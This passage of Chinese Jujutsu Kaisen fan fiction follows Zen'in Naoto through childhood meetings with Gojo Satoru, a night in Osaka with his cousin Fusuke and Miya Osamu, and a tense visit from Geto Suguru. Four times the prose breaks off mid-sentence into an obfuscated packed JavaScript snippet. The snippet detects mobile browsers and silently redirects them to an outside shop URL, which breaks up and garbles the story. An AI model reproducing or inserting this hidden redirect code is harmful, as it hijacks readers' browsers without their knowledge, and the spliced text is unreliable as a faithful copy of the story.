他向来爱看这些人的笑话。那天他破天荒主动走向直哉,看着对方受宠若惊的表情,开口说的却是:“听说你有个拖后腿的废物兄弟?真可怜。” 两人当即动了手。 直哉根本不是他的对手,几招就被他揍得鼻青脸肿,觉得丢尽了脸面的直毘人扭头就走,最后还是直哉的一个兄弟,好像叫什么直贺,把直哉扶了回去。 这之后五条悟再没关注过直哉。五条与禅院本就是世仇,直毘人上任后两家关系更是降至冰点。 他很快就把直哉和那个素未谋面的双胞胎兄弟抛在了脑后。 直到元服仪式那天。 仪式还没开始,厌烦大人说教的五条悟逃到偏僻的后院,遇到了正在给麻薯编花环的直人。 麻薯是五条悟小时候,家主送给他的小博美。现在年纪已经大了,不喜欢吵闹,所以总爱待在安静的地方。 直人坐在走廊边缘,用院子里下人们修剪下来的花枝编花环,麻薯坐在他旁边看。 他做得很仔细,时不时把未完成的花环凑近麻薯的头顶,比照着大小。 五条悟跨进后院,故意让木屐在石阶上磕出轻响。 原本安静趴着的麻薯耳朵一动,立刻抬起头。看见是他,尾巴顿时摇成了扇子,毫不犹豫地起身,小跑着奔向了五条悟。 直人手里还捏着那个编到一半的花环,就这么被落在了原地。 他愣愣地看着麻薯跑开的背影,只好站起身,脸上带着点被小狗独自抛下的茫然和无措。 五条悟蹲下来,伸手熟练地挠着麻薯的下巴,引得它舒服地眯起眼。他的目光却越过麻薯,直勾勾地落在直人身上。 他看清了,眼前这家伙身上确实一丁点咒力都没有,比普通人还不如。 但打扮得很漂亮,黑色的和服穿得一丝不苟,规矩得像个展示用的玩偶。 短短的头发也精心打理过,乖顺地搭在额头,完整地露出那双圆溜溜的眼睛,此刻正怔怔地望着这边。 他好像有些窘迫,不知道自己是不是应该离开。 麻薯似乎觉得冷落了一人不好,它扭头看看直人,又仰头看看五条悟,脑袋转来转去,显得有些为难。 五条悟像是这才刚注意到直人似的,慢悠悠地站起身。 “喂。”五条悟开口,随意地喊到:“你谁啊。” 直人像被他吓到,后退了半步,才用不大的声音回复:“禅院直人。” “哈,”五条悟听到禅院的姓氏就没了兴趣,他掏掏耳朵,“没听过。” 对此直人也只是站在那里,他垂下眼,手指无意识拨弄手上的枝条。日光透过树荫映在他脸上,很安静。 看上去像普通富人家的少爷。 五条悟大跨步过去,伸手去拿那个花环。 直人没有防备,也没有阻拦,就任由他拿了。 五条悟把只做了一半的花环举起来打量,因为是做给麻薯的,所以很小。 他本想抢过来戴在手上,看直人会不会被他气哭,结果等他定睛一看—— 好丑。 怎么会有这么丑的花环。 好差劲的手艺。 五条悟打赌,他随手搓的都比这个好看。 于是五条悟嘴巴一咧,就要笑话他,但是等他看向直人,正对上那双沉默的眼睛。 那时候直人比他矮了一个头,但还是很沉闷,不说话,只仰着脸看他。 五条悟不知道为什么,又笑不出来了。 他盯着那个花环看半天,问:“谁教你的?” 直人摇头:“没人教我。” 五条悟随手拆了,重新编了一个,又从地上捡了几朵花插进去。果然,虽然是第一次,但他做的就是很好看。 五条悟嘚瑟:“比你做的好看多了。” 直人看了一会儿,也点点头,语气还是没什么起伏:“是的。” 五条悟哼了一声,把花环递给他:“送你了。” 但是他的手僵在半空,直人没接。 直人脸上终于有了点表情,是困惑:“你给我干什么?” “哈,老子亲手做的你就应该感恩戴德地收下。”五条悟眼镜都歪了,他的眼睛从漆黑的镜片底下露出来。 直人定定地看着他的眼睛,五条悟咂了一下嘴,他就知道,所有人都对他的眼睛感兴趣。 就在他不耐烦的时候,直人的手伸出来,拿过那个花环。 他蹲下,把花环戴在了麻薯头上。 五条悟撇撇嘴,但没再说什么。 麻薯很高兴地去舔直人的手,但舌头刚碰到,直人就缩了回来,他像是第一次接触狗一样,想摸麻薯的头又有些犹豫。 “你不是术师吧,禅院家的。”五条悟这样称呼他。 直人点点头,他的目光放在麻薯身上,两只手并拢压在肚子底下。 “那直毘人那老头子居然会带你来,你和他什么关系?” “他是我父亲。”直人并没有因为五条悟对直毘人的称呼表现得生气,他说:“我哥哥说想要我和他一起来。” 五条悟挑眉,“你哥哥是谁。” 直人抬头,看向五条悟:“禅院直哉。” 五条悟这才突然意识到,这个没有咒力的家伙,就是禅院直哉的双胞胎兄弟。 他猛地摘了墨镜,弯腰凑近直人一个劲地打量。直人也没躲,任由他看。 “完全不像。”五条悟喃喃地给出总结。 “你和他是双胞胎?”五条悟向他求证。 直人说是。 五条悟又盯着直人的脸看半天,还是觉得不像。 眼睛鼻子嘴巴,说不出哪里不像,但就是不像。 那以前家里那些人的闲话,根本就是骗人的吗?六眼都说不像,那一定是不像。 学了点知识的五条悟一口咬定:“我知道了,你和他是异卵双胞胎。” 直人觉得他莫名其妙。 五条悟又问:“那你知道老子是谁吗?” 直人说知道。 五条悟得意地哼哼,他就知道,御三家没人不认识他。 然后直人紧跟着就说:“你骂我废物,还打我哥哥。” 五条悟一噎,虽然他的确这么做了,也一向坦坦荡荡,但当事人这样说出来还是不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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五条悟把花环往地上一扔,用木屐尖碾过那些娇嫩的花瓣。“禅院家的,直毘人的儿子。”他声音里带着明显的恶意,“一个连咒力都没有的废物。” 静子愣住了,脸上的红晕迅速褪去。她张了张嘴,最终什么也没说,转身跑开了。 五条悟看着她跑远的背影,烦躁地抓了抓头发。 那个叫直人的家伙,和他想象中完全不一样。没有咒力,笨手笨脚,连狗都不敢摸,和直哉也根本不是一个德性…… 五条悟还是第一次看到那么黑的眼睛。 木愣愣的,像个白痴。 五条悟越想越气,禅院直哉怎么会有这样的弟弟,还特意带到五条家来给他看。 他心想,下次看到直哉一定要揍死他,他竟然敢告状。 他弯腰捡起那个被踩坏的花环。花瓣已经蔫了,枝条也散了架。 侍从们又找了过来,几番催促五条悟随他们去更衣,时间就要到了。 五条悟把手中的花环随意丢进池塘,头也不回地走了。 元服仪式结束不过一周,五条悟走在五条宅邸的长廊上,静子突然从家主房间冲出来,哭泣着跑开了,路过五条悟的时候还狠狠撞了他一下。 “她又怎么了?” 五条悟揪住想追上去的静子母亲,问。 静子的母亲满脸愤恨,说静子爱慕禅院直毘人的儿子,家主本来是不同意的,耐不住静子一直软磨硬泡,就去禅院家问了直毘人的意思。 结果——平日端庄的夫人差点喘不上气,恨恨地说,静子爱慕的那家伙,竟然说自己就算娶平民的女儿,也绝不会看上如此丑陋的静子!要是静子实在仰慕他,跪下磕头求他的话,倒是能考虑收静子做妾。 于是一年后,在禅院直人入读东京咒术高专的第一天,五条悟就以锻炼学弟为由把禅院直人打得下不了床。 夏油杰为此照顾了直人一周。 21. 【十七】 补充上一章的小剧场: 直人第一眼见到这个白头发的家伙,就知道来人是五条家引以为傲的六眼。 看着就是惹人厌的家伙。 一直盯着他看的视线很冒犯,嘴上还一直叭叭叭说个不停,编的花环也很难看,还没有真依做的可爱。 很烦,想扭头就走。 我的脸色已经很难看了,看不出来吗?我已经在对你翻白眼了,六眼是瞎子吗? 直哉仰慕的就是这种烦人精?说话比直贺好听不了多少,和直贺一样令人厌烦。所以直哉最近才和直贺走那么近?都不太和我还有风介待在一起了。 我讨厌直贺。 我讨厌五条悟。 【十七】 最后五条悟迟到了两个小时。 伊地知满头大汗地等在停车场,电话打了几个都被五条挂断,还是直人接的。 幸好不是咒灵祓除任务,而是一个高层会议,那些长老现在都在等五条悟,对他的缺席相当不满。 五条悟不以为意,他又不是第一次迟到了。 直人急匆匆把五条悟赶进浴室,又在凌乱的地毯上找他的衣服。天气炎热,五条悟只穿了件单薄短袖,现在已皱得不成样子,洇着深色的水痕。 …… 直人拎起像五条悟咸干菜一样的上衣和外裤,陷入了沉默,现在让伊地知去买新的显然来不及了。 等五条悟泡完澡清清爽爽地出来,直人一言不发,把自己的上衣给他套上。 “不要吧——”五条悟拖长语调抱怨,“这种天气穿长袖,悟酱会中暑的哦?” 直人没理会,抓过他的胳膊利落地塞进袖子,又把自己的裤子丢过去:“自己穿。” 五条悟撇撇嘴,还是顺从地穿上了。 在他拉开门准备离开时,直人忽然开口: “对了。” 五条悟回头。 直人指了指他身上的裤子,语气平淡:“记得买条新的还我。这是直哉的。” “哈——?” 五条悟闻言立刻浮夸地弯腰,手指勾住裤腰,作势要脱:“那还是还给你好了,沾上笨蛋的气息会变得不幸的!” “随你。”直人的声音毫无波澜,冷漠地说道:“那就这样光着去开会吧。” 终于送走了一步三回头的五条悟,直人才走进浴室。他收拾干净后裹上浴巾出来,桌上的食物已经冷了,油脂凝固在肉食上,甜点只有五条悟吃了几口。 因为是在过程中补充的,所以那一小块蛋糕被蹭得到处都是,飘着和五条悟一样甜腻腻的气味。 直人不怎么喜欢甜食,只把已经冷硬的肉排用刀叉插起来塞进嘴里,也无所谓味道和口感如何,囫囵嚼了几下就吞进肚子里。 他转头给风介打了个电话,让他给自己送套衣服过来。 五条悟的衣服已经脏得不能穿了,想必他也不会在意这两件,直人把它们连同其余的脏东西都按分类丢进垃圾桶。 风介来得很快,他刚踏进房间就夸张地捂住鼻子:“搞什么,到处都是五条悟的味道!” “他在这里面放了一发苍吗?” 直人皱眉,他耸耸鼻尖,他闻不到咒力的味道,但还是把空气循环系统的开关又调高了两档:“那我现在还活着真是万幸啊。” 他接过衣服,原地解开浴巾开始往身上穿。 风介看到他身上的红痕,瞬间像眼睛脏了一样,扭过头往别处看,但那么大的房间,他的视线放到哪里都觉得不自在。他走走停停,连个坐的位置都找不到。 “……我现在就要打电话告诉直哉。”良久,风介伫立在落地窗前,淡淡地说。 “他才不会信你。”直人穿好裤子,他摊开两条胳膊,问风介:“你怎么给我带的无袖。” “我随便拿的,反正是你行李箱里的。” “这件里面是要搭配套内衬的。”直人扯着身上纯白的布料,自顾自地念叨:“是件黑色蕾丝纹打底的长袖,应该就和它放在一起……” 风介听都懒得听:“我没让你光着回去已经很够意思了。你比直哉还麻烦,至少他晚上会规规矩矩在家里睡觉。” 直人鼻腔里哼了一声出来,开始翻旧账:“你上次在夜店没带钱,要被人扒衣服示众,是我去赎的你。我到现在都没告诉直哉。” “——那已经是五年前的事了!” “那上上上个月你在人家店里醉得爬都爬不动,又是我来接的你。” “……我这不是来给你送衣服了吗?” 直人没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16887262|192059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吭声,直勾勾地看着风介。 风介双手叉腰,服气地点头:“我不会告诉直哉的,我发誓。” “你也不许提五年前那事了,我现在已经在戒酒了。” 两人达成共识后,才一起离开酒店。 现在正是夜市最热闹的时候,路上行人很多,往来的人的视线或多或少都被直人和风介的身形吸引过来,但目光触及到他身上的纹身后又立马弹开。 其实直人并不在意路人异样的眼光,在没有任务在身的时候他完全不避讳露出纹身。只是有时候会吓到胆子小的路人,然后被别人报警。 有一次直哉还差点和报警的人打起来。 还好直人拦得快,不然直哉那一拳下去,人家得死。 风介在路边摊买了一大碗关东煮,他一边吃一边递到直人眼皮子底下,直人还没来得及说不要,他的手就缩了回去。 “我知道你不要,就意思一下。” “……” “我打电话给本家财务,让他把禅院一郎近几年的账户流水都调了一份给我。” “然后呢?” “他本人账户除了每月基础补贴没有任何进账,里面的钱在正常使用,平时吃穿用度都刷的这张卡。” 直人垂眼,其实和他料想得差不多,毕竟没人会把贪来的钱往本家眼皮子底下放。 但他的大部分证件都由本家管理,私自开户根本不可能。 现在要找到他的钱到底放在哪里。 风介又说:“我找了大阪驻点的两个二级术师,让他们去跟禅院一郎。” “大阪?”直人停下脚步,看向风介:“他们和禅院一郎有过联系没有?” “是这个月刚从东京调过来的,近八年只来过四次大阪,和禅院一郎没有近亲关系。” “你之前认识他们吗?” “以前在炳见过,术式都是偏速度的,做事很隐蔽。” 在更多时候,风介办事比直人更谨慎,除了偶尔爱去喝点酒没什么别的毛病。他比直哉直人大三岁,思想也稳重些。 直人点点头,没再说话。 突然,身后传来一道声音。 “禅院先生?” 直人和风介同时回过头,看见了穿着围裙的宫治。 22. 【十八】 宫治没戴鸭舌帽,黑色的短发在风里一边倒,眼睛看到直人回头亮了一下,一口关西口音跌宕起伏: “还真是您啊,本来害怕认错了来着。” 风介的视线在宫治的围裙和直人之间扫了个来回,又看向直人,眼里写着服气。他撇开脸,把空间留给直人和宫治。 直人装没看见,目光径直落在宫治身上,也有些惊讶:“宫先生。” “好巧。”宫治走上前几步,保温袋在手里晃了晃,“禅院先生是来这边旅游吗?” 直人完全转过身,左臂的纹身也露出来。 宫治的视线在那条蛇身上一顿,眉毛只是微微抬了下,又若无其事地看向直人的脸。 “嗯。”直人应了一声,没否认,他的视线扫过宫治的围裙,最后和宫治的眼睛对视:“我记得你的店在难波市场。” 那张名片还在直人的行李箱里,是他收拾行李的时候,特意塞进去的。 风介闻言看了宫治一眼,居然正好是禅院家的市场。 “对,就在前面拐角。”宫治用空着的手指了指方向,“刚准备去给我兄弟的俱乐部送点夜宵。”他顿了顿,补充道,“他和他那些队友打球容易饿。” 直人点了点头:“运动的确很耗费体力。” 隔了几秒,他才斟酌着又开口:“您和您兄弟感情很好。” 提到他的兄弟,宫治的表情更生动了点,嘴上虽然在抱怨,但是笑着说的:“也就那样,反正也甩不开了。” 直人笑了下,然后沉默。 两人陷入冷场,眼看宫治有些尴尬,但直人不知道自己该说什么,身体往风介那边轻轻一侧,风介会意地插话:“宫先生是开店的?” “是的。”宫治的视线转向风介,又有些迟疑地看向直人:“您是——” “他是我的表兄,禅院风介。”直人有了开口的机会,礼节性地为两人介绍,“这是宫治先生,在经营一家饭团店。” “我们之前在京都体育馆门口见过,宫先生做的饭团很好吃。”直人露出社交场合应有的表情,他向宫治颔首,礼貌地客套。 饭团。 风介恍然大悟,他终于知道临别前直哉的嘱托怎么回事了。 眼前的年轻小子的确有一副很好的相貌。 但这张脸怎么看怎么有种违和感。 啊,为什么眉毛和眼皮也是耷拉着的。 虽然在笑,但看得出不是很活泼的性格,有点懒洋洋的样子。不过和直人的萎靡不振不一样,宫治看上去更多的是稳重。 这种性格的人为什么会跑上来和一面之缘的人打招呼,而且刚才也能发现他根本不擅长聊天。 风介又看向直人,直人的视线直直地放在宫治身上。 “宫老板是做饭团的吗?” “是的。” “那太好了。”风介笑眯眯的,说:“我和直人正发愁明天吃什么呢,这下可算找着地方了。” “不介意我们明天上门叨扰吧?” “怎么会?”宫治不好意思地抓抓头发,目光在直人脸上停留了一瞬,“欢迎来尝尝。” 直人站在一旁点点头,没说话,夜风吹起他额前的碎发,露出的眉尾疤痕在霓虹灯下显得有些模糊。 “我们一定去。”风介双手合十,笑容灿烂,“宫老板方便留个line吗?明天我们过去前先问问您店里忙不忙。” “当然可以。” 风介摸了摸自己的衣兜,啊呀一声,看向直人:“我忘记带手机了,直人,你和宫老板换一下联系方式吧。” 直人终于挪开视线,他看了眼风介,没吭声,但手已经掏出手机亮屏解锁,很顺利地和宫治互换了line。 风介看着直人收起手机,自然地揽过直人的肩膀:“那就不打扰宫老板了,我们明天见。” 直人被风介带着往前走了几步,才回头朝宫治微微颔首示意。 宫治站在原地,保温袋在手里晃了晃,转身往反方向走去。 走出一段距离,风介松开手,斜眼瞥向直人:“大阪这地方可真不错呀,气候很宜居呢。” 直人的视线轻飘飘地横过来,风介一字一顿地接上: “四季如春。” …… “好了,正好,明天可以先去他那里打探一下。”风介绕回正题,看着直人没什么表情的脸,说:“你刚才干嘛那么冷淡,人家该以为你讨厌他了。” 直人有点困惑:“有吗?” 他其实也想多聊几句,但宫治又没再和他搭话。 “你又不是游戏里的NPC,需要点击才能触发对话。”风介把最后一口关东煮塞进嘴里,“你要是对他有兴趣,就得学着主动和他找话题。” “我不知道说什么,我和他才第二次见,我只知道他还有个打排球的兄弟。” 直人在谈话中更擅长扮演一个被动者。更多的时候,如果他主动找人搭话,那说明有人要倒霉了。 “你为什么不一开始把我介绍给他。” “我怎么知道他愿不愿意认识你。” 风介对他的回答习以为常,若无其事地继续传授他经验:“就像我这样,和他寒暄一下,这样不就可以去人家店里更进一步了吗?” “可是我本来就打算去。” 直人理所当然地说,“我上次和他见面的时候,有答应过来大阪之后去照顾他的生意。” “那你刚才怎么不说?” 面对这个问题,直人哑然,他不解,既然已经有了约定还有什么说的必要。 风介看穿他在想什么,很大声地叹了口气。 “你一定要反复盘算之后才会说话吗?他只是个普通人,这只是一个很随意的对话,你把他当做直哉和我就好了。 当然,损人的话在熟起来之前还是别说了。” “……”直人垂眼,像在思考,然后问道:“为什么?” “什么为什么?” “为什么突然对我的感情那么关心。”直人狐疑地打量风介。 风介对于直人喜欢男人,或者和谁又混到一起,从来都不会过问,最多偶尔说说风凉话,看看他失恋的热闹,或者在直哉和直人冷战的时候把直人的故事编成笑话来暖场。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16887263|192059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虽然只会让直哉更暴怒。 风介一噎,然后说:“因为他看上去是个难得的正常人,相较于你认识的其他人来说。” “就算你喜欢男人,但是你有过一段正常稳定的关系吗?五条悟一看就很不靠谱,他可是最强,这种人是要做英雄的,不适合做对象。 你的后半辈子也不能只有直哉,哥哥和弟弟是不能结婚的。你得考虑一下自己的生活,这会让你放松点,多活几年。” “男人和男人本来就不能结婚。” “重点是这个吗?” 直人无声地看着风介,半晌,他才又问:“你以前为什么没说过这种话。” “因为……”风介纠结了一会儿,说:“有时候我都觉得,你的性取向可能不是男性。” “那是什么?”他截止目前,还没对女性动心过。 风介头也不抬地说:“是精神病。” 直人想骂他,但话到嘴边发现自己好像竟然反驳不了。 算了,反正又不是在说他。 过了会儿,他说:“那万一宫治不喜欢男人怎么办?” 这个话题是很敏感的,毕竟不是所有人都是同性恋。 虽然风介已经觉得快要是了。 他现在怀疑身边所有人的性取向。 “你是怎么确定你的前任们的性取向的。” “因为他们说爱我。”直人像看白痴一样看风介,“而我没有拒绝他们。” 迄今为止,直人交往过的所有男性,都是主动开口向直人坦白爱恋的。 因为直人自认为自己是个很坦率的人,他从来不会隐瞒自己的感情。 所以当他对谁有了兴趣,他就会表现得宽和,向他们抛出橄榄枝,如果他们也有相同的意思,就应该懂得直人的暗示。 如果宫治同样对他有意,那就应该懂才对。 “他要是对我有兴趣,就会主动和我找话题。”直人总结,“不然我怎么知道他是什么想法。” 风介被他的话噎住,半晌才从牙缝里挤出一句:“你根本就是被宠坏了。” 直人皱眉:“什么意思?” “烦死了。”风介不想再和他在这件事上拉扯,径直问:“你对宫治有进一步来往的意向,对吧?” “唔……”直人想了下,只说:“他长得很可爱。” “那是个一米八八的大汉——”风介下意识反驳,然后猛然回过神到自己不应该在这种事上和他掰扯,风介掐住话头,不耐烦地说:“那明天就按我说的做。” 他话音刚落,手机响了。 风介拿出手机接听,对面的人好像是窗,说附近街区有咒灵需要他去清剿。 毕竟两人是打着祓除咒灵的旗号来大阪的,所以风介在线上任务端挂了可执行任务的状态。 风介挂了电话,对直人说:“是二级咒灵,你先回去。” 直人点点头:“一路顺风。” 等风介走后,直人转身,又一阵风吹过来,稍长的刘海扎进了眼睛。 直人抬手拨弄头发,余光忽然看见旁边亮着灯的理发店。 23. 【十九】 “怎么剪那么短!” 视频那头的直哉声音咋咋呼呼的,裹挟着唰唰的风声。 他的下巴和喉结对着镜头,他还才执行完任务,在黑黢黢的山林里赶路,他速度很快,偶尔分神看一眼直人的发型。 直人走进公寓楼,按下电梯。他的刘海修到了眉毛往上的位置,额头差不多全都露了出来,碎发扎扎地往前翘,抓染了几缕白发。 “你在扮刺猬吗?”直哉停下来,贴近屏幕,让直人左右摇头给他仔细看看,过了会儿才欣赏地啧了一下嘴:“还好你和我是双胞胎。” “我实在想不出这张脸,要怎么才会丑。” 电梯到了,直人走进去按了楼层,两边信号都不太好,视频变得卡顿,直哉的声音也一卡一卡的。 “你——你——在那——边——” 直人等了一阵,吐出句:“卡死了。” 直人作势就要把视频挂掉,对面的直哉表情立马一帧一帧地变得很凶:“你——你——敢!” 他身形一跃,再稳下来已经到了马路边上,正巧电梯停下,直人走出电梯,视频又变得流畅起来。 “你什么时候能回来?” “我今天才来啊。” “风介呢?” “出任务去了。” 直哉皱眉,辅助监督开着车到了,他拉开车门坐进车里,眼睛还盯着屏幕里的直人:“让他少往外跑,你那么弱,别走在路上让人捅了。” “哈,社会没那么危险吧。” 直哉的脸在车内昏暗不清,车窗外的灯景从他的侧脸飞速往后滑过,耳钉不停闪烁。 “信一回京都——” 直人转过拐角,走廊的声控灯应声亮起,余光似乎察觉到前方有人,他抬起眼,声音戛然而止。 穿着袈裟的夏油杰倚靠在门边,看到直人,他起身抬手挥了挥,笑着说:“好久不见,直人。” …… 直人瞳孔骤然紧缩,他捏着电话,伫立在原地,和夏油杰四目相对。 夏油杰站在他房间门口,宽大的袈裟袖口垂落,脸上挂着温和的笑意:“不请我进去坐坐?” 视频那头的直哉敏锐地察觉到不对,他的声音突然变得很尖锐:“那边是谁,直人?” 直人没回答,但握着手机的手垂落,他定定地看着仿若无事发生的夏油杰,耳边能听到自己的心跳声。 他的手心都出了汗,直哉的声音还在不停追问,他听见直哉抢过了辅助监督的手机,要给风介打电话。 夏油杰瞥了一眼他的手机:“他还是很吵。” 夏油杰抬脚,朝直人走过来。两人的距离越近,直人的心跳越杂乱。 危险。 身体的反应告诉他现在应该立刻转身就跑,脚刚迈开转向,地面就像有两只手窜出来猛地攥住他。直人定在了原地,因为他很清楚,他跑不掉。 一直到夏油杰停在了他跟前,他俯身从直人手里抽出手机,然后挂断。 直哉的声音瞬间消失。 直人只是看着,没动,也没说话,胸口的贯穿伤又开始火辣辣的疼。 “终于安静了。” 夏油杰淡淡地说着,把手机丢到脚边。手机发出屏幕碎裂的声响,刚要熄灭的声控灯又亮了起来。 直人喉结滚动,终于发出声音:“你怎么找到这里的。” “想找总能找到。”夏油杰狭长的眼睛弯起来,他抬手,去摸直人的额头:“头发剪短了。” 夏油杰的指尖触碰到略微扎手的发尖,顿了一下,直人没躲,他的手才又往上,揉了揉直人的头发,拇指指腹顺带蹭过直人眉尾的疤痕。 很温柔,还和以前一样,脸上带着浅淡的笑。 直人盯着他的眼睛,一动不动。 夏油杰像没察觉到他的目光,还专心地捋着他的几缕白发,帮他恢复原样。 “你又高了。” 夏油杰再开口,有些略微的嗔怪,但脸上还是笑着的,他放下手,两只手拢进袖子里,还真有副面善高僧的样子。 “里面很乱。”沉默了很久,直人说。 “我不介意。” 直人掏出钥匙,夏油杰侧身让出路,直人走过去打开门,两人一前一后进去。 夏油杰自然地在客厅里打转,目光扫过客厅里摊开的财务报表和行李箱。 “看来你很忙。” 直人关上门,反手锁上。“你有事?” 夏油杰在沙发上坐下,袈裟下摆铺开:“听说你来大阪了,顺路来看看。” “路上来得急,没带伴手礼,不会怪罪我吧。” 嘴上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16887264|192059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这么说,但夏油杰的面上没有丝毫歉意。 直人打开灯,灯光落下,坐在正中央的夏油杰脸上摆出那张诓骗信徒的完美笑面,在直人看来不过是老奸巨猾的狐狸。 直人依旧站在门边,远远地看着夏油杰。 门外依稀还能听到手机铃声的震动,隔着门墙也只剩下沉闷的嗡嗡声。 他头一次希望风介能来得慢一点。 毕竟坐在这里的是夏油杰,再来几个都不够送的。 夏油杰像没看出直人的堤防和疏离,还在笑着和直人说话,他的目光落在直人露出的手臂上:“纹身又多了。” “你到底来干什么?” 夏油杰站起身,走到直人面前,带着阵阵幽香。 他的头发留得很长,柔顺地搭在肩头,发梢一层一层翘起。现在的夏油杰比直人略矮一点,直人能看清他细长的眉毛和下垂的眼睫。 夏油杰没有回答直人的问题,他伸出手,指尖勾起直人宽松的衣领,轻轻下拉,露出直人的胸口,他贴近瞟了一眼,又才后退两步。 他声音感慨:“果然纹了呀,还是留了疤吗。” 他表现得很温和,又有些疲惫,像慈爱的母亲。 好像当年那刀不是他捅的一样。 “怎么不说话?”夏油杰抬眼,担忧地看向直人:“你瘦了很多。” 直人的视线放在夏油杰仰起的面庞上,这张脸同样也清瘦了不少,袈裟在他身上显得宽大。 他眼下的细纹又深了,这些年他应该也不好过。 夏油杰还在看着他,似乎已经放弃了等待他的回应,他的手亲呢地扶着直人的肩膀,转而又说道:“你看着更沉默了,别太辛苦了啊,直人。” “你来做什么?” 终于,直人的声音响起,但还是重复之前的问题。他直直地看着夏油杰的眼睛,声音低哑,像一个字一个字从喉咙里往外滚:“不是说我是猴子吗,不嫌弃我一身猴味了?” 夏油杰一怔,眯着的眼睛睁开,露出圆溜溜的眼珠。 片刻后,寂静的房间里响起他阵阵的低笑,笑声在空旷的室内荡开。 他自顾自地笑了许久,最后抬手抹了抹眼角笑出的泪花,笑着说:“原谅我吧,小直。” “更何况,你现在身上不都是悟的气味吗?” 24. 【二十】 …… “你这是什么意思?” 直人嘴角绷得很紧,他静静地看着夏油杰笑,待夏油杰脸上的笑意逐渐减弱,他才问道。 夏油杰歪歪头,声音很轻松:“没什么意思,看来你和悟相处得很好,我很放心。” 直人当着他的面,低头拉起领口凑到鼻尖,吸了吸,然后看向夏油杰,也扯出个笑:“好像是挺好闻的。” 夏油杰嘴角最后一点弧度也慢慢拉平,面无表情地和直人对视。 “直人,”夏油杰的声音很轻,轻得像在哄孩子:“你闻不见咒力的气味。” “嗯。”直人点点头,别开脸不看夏油杰,“是,你说得没错,不然我该被自己臭死了。” 夏油杰又快活地笑起来,他转身往客厅走去,步态轻盈,长发甩起一个弧度,扫过直人的胸口。 他踱步到茶几前,弯腰翻了翻摊开的报表。 “禅院一郎……”他念出这个名字,指尖在纸张上敲了敲,“看来你接手了这边的烂摊子。” 夏油杰的语气很熟稔,听上去他好像也是禅院家的人。 直人依旧站在门边,后背抵着冰凉的门板。“不关你的事。” “是吗?”夏油杰抬起眼,狭长的眸子扫过来,“你可以跟我说说看嘛,我这些年在盘星教处理了不少类似的事,说不定可以帮你。” “毕竟,”他抬起脸看向天花板,手指点着嘴唇,冥思片刻才转头看向直人,故作苦恼地笑着说, “盘星教一年收入太多了,就算有帮手,但财务的事情还是让人头疼啊。” 紧接着,夏油杰又拿起桌上的报表挥了挥:“不过,两三亿的账对我来说还是很容易的,毕竟有时候盘星教,嗯——一两天就能进账那么多。” “闭嘴,牙β教头子。” 对此,直人只冷冷地吐出这句话作为回应。 夏油杰手里的动作一顿。 他缓缓抬起眼,看向直人,狭长的眼睛微微睁大了些。接着,他低头闷笑出声,肩膀轻轻抖动。 “真是……”他摇着头,把报表丢回茶几,发出“啪”的声响,数十张白纸飘散开,有几张还飘落到地板上。 “还没听到有人这么叫过我呢。” 直人这下倒露出点难以置信的表情了。 夏油杰对他的反应很满意,他直起身,木屐踩过地上的纸张走向厨房,他自来熟地打开冰箱看了看。 “空的。”他抱怨道,像个挑剔的客人,“你平时就靠空气活着?” “有按时吃饭吗,”他往后仰了仰,把头从冰箱柜门后探出来看向直人:“你太瘦了。” 直人皱眉,他视线在夏油杰肩膀上转了一圈,说:“荞麦面都吃不下去了的家伙没资格在这里对我指点。” 夏油杰没再说话。 他又一次看向空荡的冰箱,沉默了一会儿,他合上冰箱门,倚着料理台看直人:“需要帮忙吗?让一个人悄无声息地消失,我很擅长。” “不劳费心。” 夏油杰耸耸肩,不以为意。 他走回客厅,在沙发上重新坐下,袈裟下摆铺开,像一朵莲花。 “直人,”他声音温和了些,“离开禅院吧。” 直人盯着他。 “你太乖顺了,那种地方,迟早会把你啃得骨头都不剩。”夏油杰的语气近乎怜爱。 “依你所言,那我去哪儿?”直人看着他,鼻腔里钻出不以为意地哼笑:“去你那儿耍猴戏?” 他还将夏油杰曾经的羞辱铭记于心。 “真是的,好记仇啊。” 夏油杰苦笑,他低头看着自己的手心,自顾自地说道:“不,盘星教不适合你。” “直人,你太柔弱了,你没有咒力,哪怕你再痛苦,上天也不会听到你的声音,你的情绪连生成咒灵都做不到。” 直人面露荒唐,他眉毛一言难尽地高高扬起,甚至感受不到愤怒。 夏油杰还在说着:“是我错了,你从来不是什么猴子。是我太冲动了,原谅我吧。” 他抬头转过脸,动容地看着直人。 